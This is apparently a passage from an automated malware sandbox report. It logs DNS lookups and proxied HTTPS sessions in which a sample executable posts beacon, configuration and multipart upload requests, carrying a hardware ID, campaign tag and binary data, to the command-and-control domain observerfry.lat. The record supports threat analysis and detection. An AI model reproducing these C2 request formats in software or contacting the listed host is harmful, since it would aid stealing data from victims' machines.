Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.197	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.136.25	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.169.113	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.24.166	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.21.92	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.2.123	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:03 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 11:39:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 11:39:03 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dm9ci3hbb781dj6kjsnq1dsi4l; expires=Sat, 19 Apr 2025 05:25:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iyb%2BwTdZ7b5SNaZk5oW6zMEtrX1tGRd6A3rNiG61Cd%2FoQK%2FfmQtk55%2BnV%2B4jH0A4tzJvVH3UZKSFRH1srRdac0cLxvCeJadtziaEHGXYB0EnupFl9e5egwy7WfMQoPbNH%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f028ace428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2193&min_rtt=2191&rtt_var=826&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1320669&cwnd=100&unsent_bytes=0&cid=ac030f47cbd4d01c&ts=769&x=0"
2024-12-24 11:39:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 11:39:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: observerfry.lat
2024-12-24 11:39:05 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-24 11:39:05 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2llnv6rumbbis0r8efpmk74bd4; expires=Sat, 19 Apr 2025 05:25:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kGZDMMuVhtlq%2F4sRQufxwYnpfpDRCU1hPHxTWj7tZmXrMt1sSnBqq3h8S%2FPK9pcU8PImk6%2FSksx%2FI6XzlXDJudIxo%2BNGlRE%2FE32J8PIxPI626Nu%2FHfhTEItrlTowKL2AMX0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f0f0c407c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1929&min_rtt=1924&rtt_var=733&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1482233&cwnd=235&unsent_bytes=0&cid=7f712c772164c3aa&ts=800&x=0"
2024-12-24 11:39:05 UTC	238	IN	Data Raw: 31 63 61 62 0d 0a 6a 76 69 4d 73 43 63 7a 74 6f 57 65 36 6c 64 34 4c 32 42 66 4c 36 4e 58 54 2b 2f 4c 65 2f 78 37 72 55 50 76 63 70 76 46 7a 4d 62 31 32 76 71 53 48 51 65 61 70 2b 32 50 64 55 4a 62 45 69 70 4b 6a 33 55 75 69 2b 6c 42 6d 68 72 42 4d 49 70 65 75 62 4f 68 35 4c 53 65 37 64 78 55 56 70 71 6e 2b 35 4a 31 51 6e 51 62 66 55 72 4e 64 58 58 4e 72 68 47 65 47 73 45 68 6a 68 6e 30 74 61 43 6c 35 70 54 72 32 45 4a 51 30 75 54 79 68 7a 49 64 53 67 45 31 51 63 6f 36 4a 34 4c 70 56 39 34 65 31 32 48 56 55 4e 61 67 75 4b 66 44 6d 66 2f 62 42 55 36 61 2f 72 79 50 4f 56 6f 56 51 6a 35 4b 77 54 73 70 69 36 41 54 6c 42 50 4a 49 49 73 59 36 36 79 71 72 75 61 61 36 4e 6c 49 57 63 62 70 2b 49 41 35 47 30 41 42 Data Ascii: 1cabjviMsCcztoWe6ld4L2BfL6NXT+/Le/x7rUPvcpvFzMb12vqSHQeap+2PdUJbEipKj3Uui+lBmhrBMIpeubOh5LSe7dxUVpqn+5J1QnQbfUrNdXXNrhGeGsEhjhn0taCl5pTr2EJQ0uTyhzIdSgE1Qco6J4LpV94e12HVUNaguKfDmf/bBU6a/ryPOVoVQj5KwTspi6ATlBPJIIsY66yqruaa6NlIWcbp+IA5G0AB
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 66 51 4f 42 4d 6a 58 4e 38 56 6e 4e 4b 38 77 77 6e 41 58 30 74 36 6a 6b 38 39 54 33 6b 6b 4a 64 6c 4c 2b 38 67 44 6b 55 53 41 45 79 53 73 41 31 50 34 4b 70 47 70 59 52 79 79 75 43 48 2f 61 70 70 4b 50 6b 6b 2b 6e 64 51 6c 6e 53 36 50 2f 49 65 31 70 4b 47 6e 30 56 67 52 55 39 6a 71 6f 4e 6b 77 69 50 50 73 4d 4a 75 61 43 69 35 4c 54 61 36 4e 78 45 58 4e 54 31 39 49 4d 2b 48 31 38 4a 4e 45 44 4d 4e 53 43 48 70 68 71 65 48 73 55 72 67 68 72 39 71 71 4f 69 37 4a 71 75 6e 41 56 57 7a 4b 65 6b 79 42 59 66 58 51 55 78 57 34 4d 50 62 5a 4c 6e 41 4e 34 65 77 32 48 56 55 50 47 69 72 61 66 6e 6c 65 33 61 54 6b 50 55 39 66 71 46 4d 41 68 4c 42 7a 4e 48 77 69 63 6e 67 36 38 61 6c 78 4c 47 4a 49 6f 55 75 65 6e 75 6f 2f 54 61 74 70 4a 6b 58 4e 2f 72 39 70 38 31 57 6c 4a Data Ascii: fQOBMjXN8VnNK8wwnAX0t6jk89T3kkJdlL+8gDkUSAEySsA1P4KpGpYRyyuCH/appKPkk+ndQlnS6P/Ie1pKGn0VgRU9jqoNkwiPPsMJuaCi5LTa6NxEXNT19IM+H18JNEDMNSCHphqeHsUrghr9qqOi7JqunAVWzKekyBYfXQUxW4MPbZLnAN4ew2HVUPGirafnle3aTkPU9fqFMAhLBzNHwicng68alxLGJIoUuenuo/TatpJkXN/r9p81WlJ
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 53 63 68 68 36 38 57 6b 78 57 50 62 38 30 58 34 65 66 32 35 4d 61 5a 2b 74 46 50 45 2b 48 6b 38 6f 59 79 44 41 30 64 63 31 53 42 4d 69 48 4e 38 56 6d 54 47 4d 63 6e 6e 78 2f 30 70 4b 43 71 34 35 2f 68 32 6b 56 52 32 65 4c 34 67 7a 34 5a 51 41 59 76 52 38 45 39 4b 49 79 6a 45 39 35 58 6a 79 61 56 55 4b 48 6e 6e 37 50 6e 32 4e 76 52 53 31 2f 54 38 62 79 58 65 77 4d 4e 42 54 45 4e 6d 58 55 67 68 61 77 63 6b 52 6a 46 4c 34 67 61 39 61 2b 67 70 2f 36 56 36 74 4a 4a 57 64 37 71 38 6f 77 39 45 30 59 4a 4f 30 33 41 50 32 33 44 36 52 36 47 57 5a 64 68 75 52 66 31 71 71 48 6d 32 5a 6e 67 33 45 4a 48 6c 50 69 79 6b 58 55 64 51 55 4a 6c 44 63 30 38 4c 59 61 6a 48 5a 34 65 77 69 53 4f 46 2f 71 71 71 61 37 69 6e 65 72 65 54 46 7a 53 35 2f 75 4d 4d 41 68 49 43 7a 46 42 Data Ascii: Schh68WkxWPb80X4ef25MaZ+tFPE+Hk8oYyDA0dc1SBMiHN8VmTGMcnnx/0pKCq45/h2kVR2eL4gz4ZQAYvR8E9KIyjE95XjyaVUKHnn7Pn2NvRS1/T8byXewMNBTENmXUghawckRjFL4ga9a+gp/6V6tJJWd7q8ow9E0YJO03AP23D6R6GWZdhuRf1qqHm2Zng3EJHlPiykXUdQUJlDc08LYajHZ4ewiSOF/qqqa7inereTFzS5/uMMAhICzFB
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 76 70 42 74 41 41 6a 79 61 42 55 4b 48 6e 70 36 33 2b 6c 4f 44 62 53 46 66 63 34 50 4b 46 50 68 78 47 42 54 70 4c 7a 44 30 67 69 4b 6f 59 6d 68 50 64 49 6f 59 61 39 4b 33 75 36 71 79 64 39 70 49 64 45 66 50 72 31 5a 67 75 43 46 74 43 49 67 50 59 64 53 71 42 36 55 48 65 47 73 41 6f 67 68 6a 78 71 4b 47 67 34 70 7a 6f 33 30 42 65 33 76 58 30 68 6a 67 52 51 67 6b 76 54 63 77 78 49 59 6d 68 45 70 52 5a 67 57 47 4b 43 4c 6e 2f 37 70 48 68 6c 65 37 52 55 78 48 4c 71 65 58 49 4d 68 59 4e 57 6e 31 42 7a 7a 55 69 67 61 55 53 6c 68 6a 44 4c 34 6f 56 38 4b 2b 6d 74 75 32 65 35 74 4e 4c 58 74 58 6a 2b 59 30 78 48 55 6b 45 4d 67 32 50 64 53 71 56 36 55 48 65 4e 75 67 55 7a 7a 48 44 35 37 48 71 39 64 72 70 33 67 55 4a 6c 4f 76 2f 68 44 30 56 53 77 73 78 52 38 67 2b 49 Data Ascii: vpBtAAjyaBUKHnp63+lODbSFfc4PKFPhxGBTpLzD0giKoYmhPdIoYa9K3u6qyd9pIdEfPr1ZguCFtCIgPYdSqB6UHeGsAoghjxqKGg4pzo30Be3vX0hjgRQgkvTcwxIYmhEpRZgWGKCLn/7pHhle7RUxHLqeXIMhYNWn1BzzUigaUSlhjDL4oV8K+mtu2e5tNLXtXj+Y0xHUkEMg2PdSqV6UHeNugUzzHD57Hq9drp3gUJlOv/hD0VSwsxR8g+I
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 64 48 63 6f 75 6a 42 48 2f 74 61 6d 74 2f 70 54 6a 33 55 31 5a 33 65 62 34 6a 54 67 63 51 51 67 38 53 73 38 37 4a 63 33 6e 57 5a 6b 42 6a 33 6e 4e 4d 65 6d 38 76 4c 4c 68 75 2b 50 64 42 55 36 61 2f 72 79 50 4f 56 6f 56 51 6a 52 66 78 54 67 2f 68 4b 34 58 6b 52 72 64 49 49 41 62 36 36 43 68 6f 4f 75 57 36 4e 31 44 55 4e 48 74 38 49 38 77 45 55 49 4f 66 51 4f 42 4d 6a 58 4e 38 56 6d 77 45 74 77 32 6a 68 37 79 73 62 58 6b 38 39 54 33 6b 6b 4a 64 6c 4c 2b 38 69 7a 34 52 53 51 49 78 54 63 55 34 4c 5a 2b 6d 48 70 6b 51 78 44 4f 48 46 2f 36 73 70 71 2f 6a 6e 50 7a 65 53 30 50 52 39 65 37 49 65 31 70 4b 47 6e 30 56 67 51 4d 71 6e 62 6b 61 33 43 6a 5a 49 70 73 62 39 4b 76 75 75 36 4b 44 72 74 56 4a 45 59 79 6e 2b 6f 63 38 47 55 49 44 4e 45 48 4d 4d 43 53 49 71 42 Data Ascii: dHcoujBH/tamt/pTj3U1Z3eb4jTgcQQg8Ss87Jc3nWZkBj3nNMem8vLLhu+PdBU6a/ryPOVoVQjRfxTg/hK4XkRrdIIAb66ChoOuW6N1DUNHt8I8wEUIOfQOBMjXN8VmwEtw2jh7ysbXk89T3kkJdlL+8iz4RSQIxTcU4LZ+mHpkQxDOHF/6spq/jnPzeS0PR9e7Ie1pKGn0VgQMqnbka3CjZIpsb9Kvuu6KDrtVJEYyn+oc8GUIDNEHMMCSIqB
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 45 34 34 4c 75 62 6a 67 76 61 79 64 34 70 49 64 45 64 66 67 2f 34 6b 2f 45 30 45 4e 4f 6b 6e 54 50 79 71 66 71 42 69 56 46 4d 4d 68 67 42 33 7a 70 71 65 70 34 4a 66 70 31 55 70 55 6c 4b 6d 38 6a 79 31 61 46 55 49 63 51 4d 6f 35 64 74 66 70 42 74 41 41 6a 79 61 42 55 4b 48 6e 72 71 37 70 6b 4f 50 52 53 6c 4c 47 35 76 71 61 4e 52 64 48 45 44 64 47 78 44 67 67 67 4b 6f 66 6d 42 4c 44 4d 34 51 51 2b 71 7a 75 36 71 79 64 39 70 49 64 45 66 66 77 36 6f 49 79 46 6c 73 4a 50 45 37 58 4f 44 33 4e 35 31 6d 50 48 74 35 68 31 51 62 70 73 4b 6d 37 6f 6f 4f 75 31 55 6b 52 6a 4b 66 36 67 54 4d 64 53 77 77 76 53 4d 63 36 49 6f 53 67 48 5a 59 61 7a 79 57 4a 46 2f 79 6b 6f 71 2f 72 6d 65 48 57 54 46 2f 64 36 4c 7a 47 64 52 31 56 51 6d 55 4e 34 43 34 75 67 61 52 5a 67 56 66 Data Ascii: E44Lubjgvayd4pIdEdfg/4k/E0ENOknTPyqfqBiVFMMhgB3zpqep4Jfp1UpUlKm8jy1aFUIcQMo5dtfpBtAAjyaBUKHnrq7pkOPRSlLG5vqaNRdHEDdGxDgggKofmBLDM4QQ+qzu6qyd9pIdEffw6oIyFlsJPE7XOD3N51mPHt5h1QbpsKm7ooOu1UkRjKf6gTMdSwwvSMc6IoSgHZYazyWJF/ykoq/rmeHWTF/d6LzGdR1VQmUN4C4ugaRZgVf
2024-12-24 11:39:05 UTC	264	IN	Data Raw: 72 6d 67 74 75 53 30 32 73 37 5a 55 31 54 54 38 62 36 39 4e 68 52 44 42 53 73 4e 33 67 70 6a 7a 61 59 44 33 6b 48 32 4f 4d 30 58 39 65 66 32 35 50 6d 64 37 74 56 66 52 39 50 72 37 59 4d 34 46 6d 38 4e 4f 6c 76 43 4f 69 36 63 6f 46 57 56 46 49 39 76 7a 52 66 68 35 2f 62 6b 77 35 33 34 30 57 70 53 78 65 36 38 78 6e 55 64 57 30 4a 6c 44 66 39 31 50 34 36 35 47 70 45 49 38 57 48 56 43 63 66 6e 70 62 4c 72 69 75 33 45 54 6c 7a 59 39 73 4c 49 62 55 34 66 55 47 38 66 6b 79 70 74 6b 70 5a 58 33 68 69 50 65 62 51 4a 75 62 48 75 2f 4c 37 55 72 73 41 46 43 5a 53 67 2f 35 6f 6e 48 45 34 55 50 67 72 2f 43 77 71 62 6f 78 36 4f 48 74 67 75 7a 56 36 35 71 4f 37 38 31 64 72 6e 31 56 35 41 77 75 72 73 6a 33 55 6c 41 30 49 6c 44 5a 6c 31 47 49 36 6e 46 35 6b 50 33 6d 79 71 Data Ascii: rmgtuS02s7ZU1TT8b69NhRDBSsN3gpjzaYD3kH2OM0X9ef25Pmd7tVfR9Pr7YM4Fm8NOlvCOi6coFWVFI9vzRfh5/bkw5340WpSxe68xnUdW0JlDf91P465GpEI8WHVCcfnpbLriu3ETlzY9sLIbU4fUG8fkyptkpZX3hiPebQJubHu/L7UrsAFCZSg/5onHE4UPgr/Cwqbox6OHtguzV65qO781drn1V5Awursj3UlA0IlDZl1GI6nF5kP3myq
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 32 63 37 31 0d 0a 37 6c 61 36 63 42 56 65 55 76 36 2f 47 64 52 35 63 51 6d 55 64 6b 32 35 34 33 76 35 4a 7a 41 61 42 4f 4d 30 47 75 66 2f 38 36 71 79 49 72 6f 6f 46 46 74 66 31 37 6f 34 32 44 45 35 46 41 33 50 6d 4c 79 43 4c 76 67 69 67 4a 38 67 37 67 42 62 75 74 75 4b 78 37 35 54 67 31 56 4d 52 6d 71 66 7a 79 47 30 6a 44 55 70 39 63 6f 39 31 4e 63 33 78 57 61 73 61 77 53 2b 4b 42 75 6a 71 69 62 37 68 6e 50 6e 44 42 52 2b 55 34 62 7a 51 5a 56 51 4e 42 69 77 4e 6d 57 56 2f 31 76 78 4b 79 55 6d 64 50 73 4d 4a 75 62 48 75 2f 4c 37 55 72 73 41 46 43 5a 53 67 2f 35 6f 6e 48 45 34 55 50 67 72 2f 43 77 4f 4b 72 78 79 5a 43 59 30 50 68 67 54 2b 35 2b 44 6b 34 39 71 32 36 77 55 5a 6c 4e 69 79 79 43 31 61 46 55 49 49 54 73 38 37 4b 70 75 34 56 4c 41 65 79 53 53 4b Data Ascii: 2c717la6cBVeUv6/GdR5cQmUdk2543v5JzAaBOM0Guf/86qyIrooFFtf17o42DE5FA3PmLyCLvgigJ8g7gBbutuKx75Tg1VMRmqfzyG0jDUp9co91Nc3xWasawS+KBujqib7hnPnDBR+U4bzQZVQNBiwNmWV/1vxKyUmdPsMJubHu/L7UrsAFCZSg/5onHE4UPgr/CwOKrxyZCY0PhgT+5+Dk49q26wUZlNiyyC1aFUIITs87Kpu4VLAeySSK
2024-12-24 11:39:05 UTC	1369	IN	Data Raw: 6a 6b 74 4d 69 67 6b 6c 63 52 6a 4b 65 37 69 79 63 49 53 77 45 72 54 6f 59 4c 45 36 71 6e 48 70 38 50 33 7a 61 43 58 39 65 52 6a 35 72 53 6a 2b 33 63 53 31 62 43 39 72 7a 47 64 52 55 4e 57 67 51 4e 69 58 55 53 77 2b 6b 42 33 6b 47 50 46 49 34 65 39 36 43 34 74 61 47 39 34 4e 56 45 52 38 54 77 38 38 63 62 4c 47 78 43 63 77 33 48 64 58 58 66 35 31 6d 61 43 49 39 35 33 55 4b 69 38 76 33 7a 76 4d 6a 78 6e 46 77 52 77 71 65 6b 32 6e 74 61 58 30 4a 6c 44 59 59 32 50 35 2b 76 47 6f 67 61 69 42 2b 7a 4e 2f 65 67 72 37 4c 38 6c 2b 4c 7a 52 6b 44 65 32 63 4b 64 4e 68 52 44 42 53 74 63 67 58 74 74 67 75 6c 42 70 31 6d 48 59 62 4a 65 75 62 2f 75 2f 4b 79 76 37 64 78 4c 56 73 4c 32 73 61 38 37 48 55 77 55 4c 55 44 4e 46 43 36 63 6f 31 6e 51 57 63 6c 68 31 55 4b 33 35 Data Ascii: jktMigklcRjKe7iycISwErToYLE6qnHp8P3zaCX9eRj5rSj+3cS1bC9rzGdRUNWgQNiXUSw+kB3kGPFI4e96C4taG94NVER8Tw88cbLGxCcw3HdXXf51maCI953UKi8v3zvMjxnFwRwqek2ntaX0JlDYY2P5+vGogaiB+zN/egr7L8l+LzRkDe2cKdNhRDBStcgXttgulBp1mHYbJeub/u/Kyv7dxLVsL2sa87HUwULUDNFC6co1nQWclh1UK35

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:07 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0YWMZHMNN3H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: observerfry.lat
2024-12-24 11:39:07 UTC	15331	OUT	Data Raw: 2d 2d 30 59 57 4d 5a 48 4d 4e 4e 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 59 57 4d 5a 48 4d 4e 4e 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 59 57 4d 5a 48 4d 4e 4e 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 59 57 4d 5a 48 4d 4e 4e 33 48 Data Ascii: --0YWMZHMNN3HContent-Disposition: form-data; name="hwid"654829FDC0AAAEE6BEBA0C6A975F1733--0YWMZHMNN3HContent-Disposition: form-data; name="pid"2--0YWMZHMNN3HContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0YWMZHMNN3H
2024-12-24 11:39:07 UTC	2796	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-24 11:39:08 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7gmfit438smam43ik41falhvuu; expires=Sat, 19 Apr 2025 05:25:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yg4IrqY%2FVbuherHd3KOx%2BJ9xNmHzJpPqXXHxnbKjnezdhYnvW7u7A880pBenQzb1zi3yQPVEJYUX1itnmlGP19FKVFV11Hn4OvcAIDFF8lKrGGsFspuRcj4%2FlGhc5zrL4BY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f1dd90f7cfc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1987&rtt_var=746&sent=19&recv=21&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19081&delivery_rate=1467336&cwnd=223&unsent_bytes=0&cid=0843741d20dea0ec&ts=1114&x=0"
2024-12-24 11:39:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:10 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HHLZRB7W61XO84 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: observerfry.lat
2024-12-24 11:39:10 UTC	8766	OUT	Data Raw: 2d 2d 48 48 4c 5a 52 42 37 57 36 31 58 4f 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 48 4c 5a 52 42 37 57 36 31 58 4f 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 48 4c 5a 52 42 37 57 36 31 58 4f 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 48 Data Ascii: --HHLZRB7W61XO84Content-Disposition: form-data; name="hwid"654829FDC0AAAEE6BEBA0C6A975F1733--HHLZRB7W61XO84Content-Disposition: form-data; name="pid"2--HHLZRB7W61XO84Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HH
2024-12-24 11:39:10 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=afkj0o0opf057jj46so5clec8u; expires=Sat, 19 Apr 2025 05:25:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=otGWpfI%2FBQLce6sAGEnM0qNP9F%2FMm6OesmTtW%2F9lk0prTqh4tn7p%2BpHoEUaPhJ5tyqm194CqGdYHL5kCKsXLxFJijjcetmoItnxN%2FfSNixNI4s6So%2FYVe0Dko7ypannalbk%3D"}],"group":"cf-nel","max_age":604800} NEL: 